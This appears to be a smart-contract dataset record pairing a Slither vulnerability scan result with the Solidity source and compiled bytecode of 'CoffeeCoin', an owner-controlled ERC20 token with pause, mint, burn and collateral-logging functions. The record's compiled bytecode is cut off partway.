0208284031215611ee857600080fd5b8151611841816122b1565b60008060408385031215611f0657600080fd5b8235611f11816122b1565b91506020830135611f21816122b1565b809150509250929050565b600080600060608486031215611f4157600080fd5b8335611f4c816122b1565b92506020840135611f5c816122b1565b929592945050506040919091013590565b60008060408385031215611f8057600080fd5b8235611f8b816122b1565b946020939093013593505050565b60006020808385031215611fac57600080fd5b823567ffffffffffffffff80821115611fc457600080fd5b818501915085601f830112611fd857600080fd5b813581811115611fea57611fea61229b565b8060051b604051601f19603f8301168101818110858211171561200f5761200f61229b565b604052828152858101935084860182860187018a101561202e57600080fd5b600095505b838610156120585761204481611ea9565b855260019590950194938601938601612033565b5098975050505050505050565b60006020828403121561207757600080fd5b8135801515811461184157600080fd5b60006020828403121561209957600080fd5b5035919050565b600080604083850312156120b357600080fd5b50508035926020909101359150565b600060208083528351808285015260005b818110156120ef578581018301518582016040015282016120d3565b81811115612101576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156121c35784516001600160a01b03168352938301939183019160010161219e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156121f7576121f761226f565b500190565b60008261221957634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156122385761223861226f565b500290565b60008282101561224f5761224f61226f565b500390565b60006000198214156122685761226861226f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108ab57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220442b644988af31880711cbb074b77ea430a2ae172b5fe28505d18c81902131fe64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,715
0xd5c43c023de215dc86cd42f60d7ded1ea502a630
pragma solidity >=0.6.0 <= 0.8.5; // SPDX-License-Identifier: MIT // @title ERC20 Token // @created_by Stonoex /** * * @dev Operations with Overflow chechs. * **/ library Math { /** * * @dev Return the subtraction of two integers, reverting with message on overflow * **/ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "Subtraction overflow"); return a - b; } /** * * @dev Return the addition of two integers, reverting with message on overflow * **/ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "Addition overflow"); return c; } /** * * @dev Return the multiplication of two two integers, reverting with message on overflow * **/ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "Multiplication overflow"); return c; } } /** * * @dev Contract that guarantees exclusive access to specific functions for the owner * * */ abstract contract Ownable { address private _owner; address private _newOwner; event OwnerShipTransferred(address indexed oldOwner, address indexed newOwner); /** * * @dev Setting the deployer as the initial owner. * */ constructor() { _owner = msg.sender; _newOwner = msg.sender; emit OwnerShipTransferred(address(0), _owner); } /** * * @dev Returns the address of the current owner. * */ function owner() public view returns(address){ return _owner; } /** * * @dev Reverting with message on overflow if called by any account other than the owner. * */ modifier onlyOwner(){ require(msg.sender == _owner, "You are not the owner"); _; } /** * * @dev Set new owner to transfer ownership, reverting with message on overflow if account is not the owner * */ function transferOwnership(address newOwner_) public onlyOwner{ require(newOwner_ != address(0), "Invalid address"); _newOwner = newOwner_; } /** * * @dev Accept ownership, reverting with message on overflow if account is not the new owner * */ function acceptOwnership()public{ require(msg.sender == _newOwner, "You are not the new owner"); _transferOwnership(_newOwner); } function _transferOwnership(address newOwner_) internal{ emit OwnerShipTransferred(_owner,newOwner_); _owner = newOwner_; } } /** * * @dev Contract that guarantees pause and unpause specific functions * * */ contract Pausable is Ownable{ event Pause(); event Unpause(); bool private _isPaused = true; function isPaused() public view returns(bool){ return _isPaused; } modifier whenNotPaused(){ require(!_isPaused, "Contract is paused."); _; } modifier whenPaused(){ require(_isPaused, "Contract is not paused."); _; } function pause()public onlyOwner whenNotPaused{ _isPaused = true; emit Pause(); } function unpause()public onlyOwner whenPaused{ _isPaused = false; emit Unpause(); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract CollateralDetails is Ownable { event record(uint position, string document, string book, uint256 bags, uint256 tokens, string executionType); uint256 private _currentBags; string private _docURL; struct Collateral { string cda_wa_document; string book; uint256 bags; uint256 tokenAmount; string executionType; } Collateral[] private _collateralList; mapping(uint => Collateral) private _collateral; function getDocURL() public view returns(string memory){ return _docURL; } function setDocURL(string memory url) public onlyOwner { _docURL = url; } function getCurrentBags() public view returns(uint256){ return _currentBags; } function setCurrentBags(uint256 bags_) internal onlyOwner{ _currentBags = bags_; } function getRecords(uint indexes_) public view returns(string [] memory documents, string[] memory books, uint256[] memory bags, uint256[] memory tokensAmounts,string[] memory executionTypes){ require(indexes_ <= _collateralList.length, "Invalid indexes, value is greater than the _collateralList!"); string [] memory _documents = new string[](indexes_); string [] memory _books = new string[](indexes_); uint256 [] memory _bags = new uint256[](indexes_); uint256 [] memory _tokenAmount = new uint256[](indexes_); string [] memory _executionTypes = new string[](indexes_); for( uint i = 0; i < indexes_; i++){ Collateral storage c = _collateral[i]; _documents[i] = c.cda_wa_document; _books[i] = c.book; _bags[i] = c.bags; _tokenAmount[i] = c.tokenAmount; _executionTypes[i] = c.executionType; } return(_documents,_books,_bags,_tokenAmount,_executionTypes); } function getCollateral(uint position_) public view returns(string memory cda_wa_document, string memory book, uint256 bags, uint256 tokenAmount ,string memory executionType){ require(position_ <= _collateralList.length, "Invalid position, value is greater than the _collateralList"); Collateral storage c = _collateral[position_]; return (c.cda_wa_document, c.book, c.bags, c.tokenAmount,c.executionType); } function lastId() public view returns(uint256){ return _collateralList.length-1; } function recordCollateral(string memory cda_wa_document_, string memory book_, uint256 bags_, uint256 tokenAmount_, string memory executionType_) internal onlyOwner{ _collateralList.push(Collateral(cda_wa_document_,book_,bags_,tokenAmount_,executionType_)); _collateral[_collateralList.length-1] = Collateral(cda_wa_document_,book_,bags_,tokenAmount_,executionType_); emit record(_collateralList.length-1, cda_wa_document_,book_,bags_,tokenAmount_,executionType_); } } contract CoffeeCoin is IERC20, Ownable, Pausable, CollateralDetails{ using Math for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; event Burn(address indexed account, uint256 value); event Mint(address indexed from, address indexed to, uint256 value); constructor (string memory name_, string memory symbol_, uint256 totalSupply_, uint8 decimals_, string memory cda_wa_document_, string memory book_, uint256 bags_) { _name = name_; _symbol = symbol_; _totalSupply = totalSupply_.mul(10 ** decimals_); _decimals = decimals_; _balances[msg.sender] = _balances[msg.sender].add(_totalSupply); recordCollateral(cda_wa_document_, book_, bags_, totalSupply_, "INIT"); setCurrentBags(bags_); emit Transfer(address(0), msg.sender, _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 value) public override returns (bool) { _transfer(msg.sender, to, value); return true; } function allowance(address owner, address spender) public override view returns (uint256) { return _allowed[owner][spender]; } function approve(address spender, uint256 value) public override returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 value) public override returns (bool) { _transfer(sender, recipient, value); _approve(sender, msg.sender, _allowed[sender][msg.sender].sub(value)); return true; } function _transfer(address from_, address to_, uint256 amount_) internal{ require(from_ != address(0), "Sender Invalid address"); require(to_ != address(0), "Recipient Invalid Address"); _balances[from_] = _balances[from_].sub(amount_); _balances[to_] = _balances[to_].add(amount_); emit Transfer(from_, to_, amount_); } function _approve(address owner_, address spender_, uint256 amount_) internal{ require(owner_ != address(0), "Approve from the zero address"); require(spender_ != address(0), "Approve to the zero address"); _allowed[owner_][spender_] = amount_; emit Approval(owner_, spender_, amount_); } /** * * @dev Destroy Tokens from the caller, reverting with message on overflow if caller is not the contract owner, event Burn will record CollateralDetails * */ function burn(uint256 amount_, string memory cda_wa_document_, string memory book_, uint256 bags_) public onlyOwner whenNotPaused{ require(msg.sender != address(0), "Invalid account address"); uint256 _amount = amount_.mul(10 ** _decimals); _balances[msg.sender] = _balances[msg.sender].sub(_amount); _totalSupply = _totalSupply.sub(_amount); uint256 _currentBags = getCurrentBags(); setCurrentBags(_currentBags.sub(bags_)); recordCollateral(cda_wa_document_, book_, bags_, amount_, "BURN"); emit Burn(msg.sender, _amount); emit Transfer(msg.sender, address(0), _amount); } /** * * @dev Mint Tokens, reverting with message on overflow if caller is not the contract owner or the contract is not paused, event Mint will record CollateralDetails * */ function mint(uint256 amount_, string memory cda_wa_document_, string memory book_, uint256 bags_)public onlyOwner whenNotPaused{ uint256 _amount = amount_.mul(10 ** _decimals); _totalSupply = _totalSupply.add(_amount); _balances[msg.sender] = _balances[msg.sender].add(_amount); uint256 _currentBags = getCurrentBags(); setCurrentBags(_currentBags.add(bags_)); recordCollateral(cda_wa_document_, book_, bags_, amount_, "MINT"); emit Mint(address(0), msg.sender, _amount); emit Transfer(address(0), msg.sender, _amount); } }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c80638456cb59116100c3578063c1292cc31161007c578063c1292cc314610386578063dd40e2e1146103a4578063dd62ed3e146103c0578063ec428fb6146103f0578063f2fde38b1461040e578063f6fa76b81461042a5761014d565b80638456cb59146102be5780638da5cb5b146102c857806395d89b41146102e657806398f903db14610304578063a9059cbb14610338578063b187bd26146103685761014d565b80632a62a490116101155780632a62a4901461020a578063313ce5671461023e5780633f4ba83a1461025c57806369c864b71461026657806370a082311461028457806379ba5097146102b45761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806320126178146101be57806323b872dd146101da575b600080fd5b61015a610446565b6040516101679190612b12565b60405180910390f35b61018a60048036038101906101859190612548565b6104d8565b6040516101979190612af7565b60405180910390f35b6101a86104ef565b6040516101b59190612d7c565b60405180910390f35b6101d860048036038101906101d39190612588565b6104f9565b005b6101f460048036038101906101ef91906124f5565b6105a1565b6040516102019190612af7565b60405180910390f35b610224600480360381019061021f91906125d1565b610652565b604051610235959493929190612b34565b60405180910390f35b610246610887565b6040516102539190612e0d565b60405180910390f35b61026461089e565b005b61026e6109c4565b60405161027b9190612b12565b60405180910390f35b61029e60048036038101906102999190612488565b610a56565b6040516102ab9190612d7c565b60405180910390f35b6102bc610a9f565b005b6102c6610b5c565b005b6102d0610c82565b6040516102dd9190612a66565b60405180910390f35b6102ee610cab565b6040516102fb9190612b12565b60405180910390f35b61031e600480360381019061031991906125d1565b610d3d565b60405161032f959493929190612a81565b60405180910390f35b610352600480360381019061034d9190612548565b6111ba565b60405161035f9190612af7565b60405180910390f35b6103706111d1565b60405161037d9190612af7565b60405180910390f35b61038e6111e8565b60405161039b9190612d7c565b60405180910390f35b6103be60048036038101906103b991906125fe565b611201565b005b6103da60048036038101906103d591906124b5565b6114fe565b6040516103e79190612d7c565b60405180910390f35b6103f8611585565b6040516104059190612d7c565b60405180910390f35b61042860048036038101906104239190612488565b61158f565b005b610444600480360381019061043f91906125fe565b6116d1565b005b6060600880546104559061323a565b80601f01602080910402602001604051908101604052809291908181526020018280546104819061323a565b80156104ce5780601f106104a3576101008083540402835291602001916104ce565b820191906000526020600020905b8154815290600101906020018083116104b157829003601f168201915b5050505050905090565b60006104e5338484611aff565b6001905092915050565b6000600b54905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610587576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057e90612c1c565b60405180910390fd5b806003908051906020019061059d92919061234b565b5050565b60006105ae848484611cca565b610647843361064285600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f3e90919063ffffffff16565b611aff565b600190509392505050565b60608060008060606004805490508611156106a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069990612bdc565b60405180910390fd5b6000600560008881526020019081526020016000209050806000018160010182600201548360030154846004018480546106db9061323a565b80601f01602080910402602001604051908101604052809291908181526020018280546107079061323a565b80156107545780601f1061072957610100808354040283529160200191610754565b820191906000526020600020905b81548152906001019060200180831161073757829003601f168201915b505050505094508380546107679061323a565b80601f01602080910402602001604051908101604052809291908181526020018280546107939061323a565b80156107e05780601f106107b5576101008083540402835291602001916107e0565b820191906000526020600020905b8154815290600101906020018083116107c357829003601f168201915b505050505093508080546107f39061323a565b80601f016020809104026020016040519081016040528092919081815260200182805461081f9061323a565b801561086c5780601f106108415761010080835404028352916020019161086c565b820191906000526020600020905b81548152906001019060200180831161084f57829003601f168201915b50505050509050955095509550955095505091939590929450565b6000600a60009054906101000a900460ff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461092c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092390612c1c565b60405180910390fd5b600160149054906101000a900460ff1661097b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097290612cbc565b60405180910390fd5b6000600160146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6060600380546109d39061323a565b80601f01602080910402602001604051908101604052809291908181526020018280546109ff9061323a565b8015610a4c5780601f10610a2157610100808354040283529160200191610a4c565b820191906000526020600020905b815481529060010190602001808311610a2f57829003601f168201915b5050505050905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2690612bfc565b60405180910390fd5b610b5a600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611f97565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be190612c1c565b60405180910390fd5b600160149054906101000a900460ff1615610c3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3190612d1c565b60405180910390fd5b60018060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610cba9061323a565b80601f0160208091040260200160405190810160405280929190818152602001828054610ce69061323a565b8015610d335780601f10610d0857610100808354040283529160200191610d33565b820191906000526020600020905b815481529060010190602001808311610d1657829003601f168201915b5050505050905090565b6060806060806060600480549050861115610d8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8490612d3c565b60405180910390fd5b60008667ffffffffffffffff811115610da957610da86133a2565b5b604051908082528060200260200182016040528015610ddc57816020015b6060815260200190600190039081610dc75790505b50905060008767ffffffffffffffff811115610dfb57610dfa6133a2565b5b604051908082528060200260200182016040528015610e2e57816020015b6060815260200190600190039081610e195790505b50905060008867ffffffffffffffff811115610e4d57610e4c6133a2565b5b604051908082528060200260200182016040528015610e7b5781602001602082028036833780820191505090505b50905060008967ffffffffffffffff811115610e9a57610e996133a2565b5b604051908082528060200260200182016040528015610ec85781602001602082028036833780820191505090505b50905060008a67ffffffffffffffff811115610ee757610ee66133a2565b5b604051908082528060200260200182016040528015610f1a57816020015b6060815260200190600190039081610f055790505b50905060005b8b81101561119c576000600560008381526020019081526020016000209050806000018054610f4e9061323a565b80601f0160208091040260200160405190810160405280929190818152602001828054610f7a9061323a565b8015610fc75780601f10610f9c57610100808354040283529160200191610fc7565b820191906000526020600020905b815481529060010190602001808311610faa57829003601f168201915b5050505050878381518110610fdf57610fde613373565b5b6020026020010181905250806001018054610ff99061323a565b80601f01602080910402602001604051908101604052809291908181526020018280546110259061323a565b80156110725780601f1061104757610100808354040283529160200191611072565b820191906000526020600020905b81548152906001019060200180831161105557829003601f168201915b505050505086838151811061108a57611089613373565b5b602002602001018190525080600201548583815181106110ad576110ac613373565b5b60200260200101818152505080600301548483815181106110d1576110d0613373565b5b6020026020010181815250508060040180546110ec9061323a565b80601f01602080910402602001604051908101604052809291908181526020018280546111189061323a565b80156111655780601f1061113a57610100808354040283529160200191611165565b820191906000526020600020905b81548152906001019060200180831161114857829003601f168201915b505050505083838151811061117d5761117c613373565b5b60200260200101819052505080806111949061329d565b915050610f20565b50848484848499509950995099509950505050505091939590929450565b60006111c7338484611cca565b6001905092915050565b6000600160149054906101000a900460ff16905090565b600060016004805490506111fc919061316f565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461128f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128690612c1c565b60405180910390fd5b600160149054906101000a900460ff16156112df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d690612d1c565b60405180910390fd5b600061130f600a60009054906101000a900460ff16600a6113009190612ff7565b86611a2690919063ffffffff16565b905061132681600b54611aa190919063ffffffff16565b600b8190555061137e81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aa190919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006113cb611585565b90506113e86113e38483611aa190919063ffffffff16565b612054565b61142a858585896040518060400160405280600481526020017f4d494e54000000000000000000000000000000000000000000000000000000008152506120ec565b3373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fab8530f87dc9b59234c4623bf917212bb2536d647574c8e7e5da92c2ede0c9f8846040516114889190612d7c565b60405180910390a33373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114ee9190612d7c565b60405180910390a3505050505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600254905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461161d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161490612c1c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561168d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168490612b9c565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461175f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175690612c1c565b60405180910390fd5b600160149054906101000a900460ff16156117af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a690612d1c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561181f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181690612c9c565b60405180910390fd5b600061184f600a60009054906101000a900460ff16600a6118409190612ff7565b86611a2690919063ffffffff16565b90506118a381600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f3e90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118fb81600b54611f3e90919063ffffffff16565b600b81905550600061190b611585565b90506119286119238483611f3e90919063ffffffff16565b612054565b61196a858585896040518060400160405280600481526020017f4255524e000000000000000000000000000000000000000000000000000000008152506120ec565b3373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040516119b09190612d7c565b60405180910390a2600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a169190612d7c565b60405180910390a3505050505050565b600080831415611a395760009050611a9b565b60008284611a479190613115565b9050828482611a569190612f73565b14611a96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8d90612cfc565b60405180910390fd5b809150505b92915050565b6000808284611ab09190612f1d565b905083811015611af5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aec90612c7c565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6690612c3c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd690612bbc565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611cbd9190612d7c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3190612cdc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611daa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da190612d5c565b60405180910390fd5b611dfc81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f3e90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e9181600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aa190919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f319190612d7c565b60405180910390a3505050565b600082821115611f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7a90612c5c565b60405180910390fd5b8183611f8f919061316f565b905092915050565b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f370116ad724b3fc87a2f6ff5e76e5a8cc7045b232d1431b7a4bca898c26fdace60405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146120e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d990612c1c565b60405180910390fd5b8060028190555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461217a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217190612c1c565b60405180910390fd5b60046040518060a0016040528087815260200186815260200185815260200184815260200183815250908060018154018082558091505060019003906000526020600020906005020160009091909190915060008201518160000190805190602001906121e892919061234b565b50602082015181600101908051906020019061220592919061234b565b506040820151816002015560608201518160030155608082015181600401908051906020019061223692919061234b565b5050506040518060a0016040528086815260200185815260200184815260200183815260200182815250600560006001600480549050612276919061316f565b815260200190815260200160002060008201518160000190805190602001906122a092919061234b565b5060208201518160010190805190602001906122bd92919061234b565b50604082015181600201556060820151816003015560808201518160040190805190602001906122ee92919061234b565b509050507f502388ad03174e9b1311b2adf76d5089bcd207e6311d1afda9dcf02157c5ac026001600480549050612325919061316f565b868686868660405161233c96959493929190612d97565b60405180910390a15050505050565b8280546123579061323a565b90600052602060002090601f01602090048101928261237957600085556123c0565b82601f1061239257805160ff19168380011785556123c0565b828001600101855582156123c0579182015b828111156123bf5782518255916020019190600101906123a4565b5b5090506123cd91906123d1565b5090565b5b808211156123ea5760008160009055506001016123d2565b5090565b60006124016123fc84612e4d565b612e28565b90508281526020810184848401111561241d5761241c6133d6565b5b6124288482856131f8565b509392505050565b60008135905061243f816136b6565b92915050565b600082601f83011261245a576124596133d1565b5b813561246a8482602086016123ee565b91505092915050565b600081359050612482816136cd565b92915050565b60006020828403121561249e5761249d6133e0565b5b60006124ac84828501612430565b91505092915050565b600080604083850312156124cc576124cb6133e0565b5b60006124da85828601612430565b92505060206124eb85828601612430565b9150509250929050565b60008060006060848603121561250e5761250d6133e0565b5b600061251c86828701612430565b935050602061252d86828701612430565b925050604061253e86828701612473565b9150509250925092565b6000806040838503121561255f5761255e6133e0565b5b600061256d85828601612430565b925050602061257e85828601612473565b9150509250929050565b60006020828403121561259e5761259d6133e0565b5b600082013567ffffffffffffffff8111156125bc576125bb6133db565b5b6125c884828501612445565b91505092915050565b6000602082840312156125e7576125e66133e0565b5b60006125f584828501612473565b91505092915050565b60008060008060808587031215612618576126176133e0565b5b600061262687828801612473565b945050602085013567ffffffffffffffff811115612647576126466133db565b5b61265387828801612445565b935050604085013567ffffffffffffffff811115612674576126736133db565b5b61268087828801612445565b925050606061269187828801612473565b91505092959194509250565b60006126a983836127ba565b905092915050565b60006126bd8383612a39565b60208301905092915050565b6126d2816131a3565b82525050565b60006126e382612e9e565b6126ed8185612ed9565b9350836020820285016126ff85612e7e565b8060005b8581101561273b578484038952815161271c858261269d565b945061272783612ebf565b925060208a01995050600181019050612703565b50829750879550505050505092915050565b600061275882612ea9565b6127628185612eea565b935061276d83612e8e565b8060005b8381101561279e57815161278588826126b1565b975061279083612ecc565b925050600181019050612771565b5085935050505092915050565b6127b4816131b5565b82525050565b60006127c582612eb4565b6127cf8185612efb565b93506127df818560208601613207565b6127e8816133e5565b840191505092915050565b60006127fe82612eb4565b6128088185612f0c565b9350612818818560208601613207565b612821816133e5565b840191505092915050565b6000612839600f83612f0c565b915061284482613403565b602082019050919050565b600061285c601b83612f0c565b91506128678261342c565b602082019050919050565b600061287f603b83612f0c565b915061288a82613455565b604082019050919050565b60006128a2601983612f0c565b91506128ad826134a4565b602082019050919050565b60006128c5601583612f0c565b91506128d0826134cd565b602082019050919050565b60006128e8601d83612f0c565b91506128f3826134f6565b602082019050919050565b600061290b601483612f0c565b91506129168261351f565b602082019050919050565b600061292e601183612f0c565b915061293982613548565b602082019050919050565b6000612951601783612f0c565b915061295c82613571565b602082019050919050565b6000612974601783612f0c565b915061297f8261359a565b602082019050919050565b6000612997601683612f0c565b91506129a2826135c3565b602082019050919050565b60006129ba601783612f0c565b91506129c5826135ec565b602082019050919050565b60006129dd601383612f0c565b91506129e882613615565b602082019050919050565b6000612a00603b83612f0c565b9150612a0b8261363e565b604082019050919050565b6000612a23601983612f0c565b9150612a2e8261368d565b602082019050919050565b612a42816131e1565b82525050565b612a51816131e1565b82525050565b612a60816131eb565b82525050565b6000602082019050612a7b60008301846126c9565b92915050565b600060a0820190508181036000830152612a9b81886126d8565b90508181036020830152612aaf81876126d8565b90508181036040830152612ac3818661274d565b90508181036060830152612ad7818561274d565b90508181036080830152612aeb81846126d8565b90509695505050505050565b6000602082019050612b0c60008301846127ab565b92915050565b60006020820190508181036000830152612b2c81846127f3565b905092915050565b600060a0820190508181036000830152612b4e81886127f3565b90508181036020830152612b6281876127f3565b9050612b716040830186612a48565b612b7e6060830185612a48565b8181036080830152612b9081846127f3565b90509695505050505050565b60006020820190508181036000830152612bb58161282c565b9050919050565b60006020820190508181036000830152612bd58161284f565b9050919050565b60006020820190508181036000830152612bf581612872565b9050919050565b60006020820190508181036000830152612c1581612895565b9050919050565b60006020820190508181036000830152612c35816128b8565b9050919050565b60006020820190508181036000830152612c55816128db565b9050919050565b60006020820190508181036000830152612c75816128fe565b9050919050565b60006020820190508181036000830152612c9581612921565b9050919050565b60006020820190508181036000830152612cb581612944565b9050919050